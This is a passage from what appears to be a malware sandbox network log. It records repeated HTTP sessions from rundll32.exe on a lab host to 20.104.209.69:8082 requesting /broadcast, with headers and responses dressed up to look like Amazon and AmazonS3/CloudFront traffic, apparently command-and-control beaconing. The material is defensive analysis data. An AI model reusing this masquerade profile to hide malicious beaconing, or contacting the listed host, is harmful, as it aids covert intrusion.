Jan 8, 2023 16:09:54.187021971 CET	1647	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.2.6	50102	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:54.482906103 CET	1649	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:54.601170063 CET	1650	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.6	50103	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:54.851067066 CET	1653	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:54.971113920 CET	1653	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.2.6	50104	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:55.246917963 CET	1656	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:55.364912033 CET	1656	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.6	50105	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:55.617094994 CET	1659	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:55.735738039 CET	1659	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.2.6	50106	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:55.998351097 CET	1662	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:56.116681099 CET	1663	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.2.6	50107	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:56.390501976 CET	1665	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:56.509381056 CET	1666	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.2.6	50108	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:56.787559986 CET	1669	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:56.905539036 CET	1669	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49739	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:16.022708893 CET	487	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:16.140590906 CET	487	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.6	50109	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:57.159385920 CET	1672	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:57.278350115 CET	1672	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.2.6	50110	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:57.555609941 CET	1675	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:57.673908949 CET	1675	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.6	50111	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:57.935312986 CET	1678	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:58.053308964 CET	1678	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.2.6	50112	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:58.306230068 CET	1681	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:58.424377918 CET	1682	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:49 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.6	50113	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:58.699393988 CET	1684	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:58.821568966 CET	1685	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.6	50114	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:59.279290915 CET	1687	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:59.397242069 CET	1688	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.2.6	50115	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:59.690217972 CET	1691	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:59.808163881 CET	1691	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.6	50116	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:00.151966095 CET	1694	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:00.270495892 CET	1694	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.2.6	50117	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:01.357407093 CET	1697	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:01.475199938 CET	1697	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.2.6	50118	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:02.470052958 CET	1700	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:02.589082003 CET	1701	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	49740	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:16.405638933 CET	490	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:16.524899006 CET	490	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.6	50119	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:03.038050890 CET	1703	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:03.158992052 CET	1704	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.2.6	50120	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
